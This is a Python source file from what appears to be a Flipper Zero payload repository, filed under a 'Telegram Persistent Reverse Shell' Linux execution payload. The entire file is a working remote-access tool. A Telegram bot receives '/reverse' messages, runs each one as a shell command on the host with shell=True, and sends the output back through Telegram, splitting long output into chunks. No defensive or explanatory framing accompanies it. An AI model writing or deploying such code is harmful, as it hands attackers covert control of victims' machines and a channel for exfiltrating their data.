Files
my-flipper-shits/GNU-Linux/Execution/Telegram_Persistent_Reverse_Shell_Linux/connection.py
T
2025-07-04 07:09:11 +00:00

44 lines
1.2 KiB
Python

from telebot import TeleBot, types
import subprocess
# Set here the Telegram bot token
BOT_TOKEN = ""
bot = TeleBot(BOT_TOKEN)
commands = [
types.BotCommand("/reverse", "/reverse <shell_command>")
]
bot.set_my_commands(commands=commands)
@bot.message_handler(commands=['reverse'])
def reverse_shell(message):
command = extract_command(message.text)
if command != "":
print(f"Command received: {command}")
out = run_command(command)
if len(out) > 1000:
bot.reply_to(message, "Message too long...")
chunk_size = 1000
for i in range(0, len(out), chunk_size):
bot.send_message(message.chat.id, out[i:i+chunk_size])
else:
bot.reply_to(message, out)
def extract_command(message):
command_prefix = "/reverse"
if message.startswith(command_prefix):
return message[len(command_prefix):].strip()
else:
return None
def run_command(command):
try:
result = subprocess.check_output(command, shell=True, text=True)
return result.strip()
except subprocess.CalledProcessError as e:
return f"Some error: {e}"
bot.infinity_polling()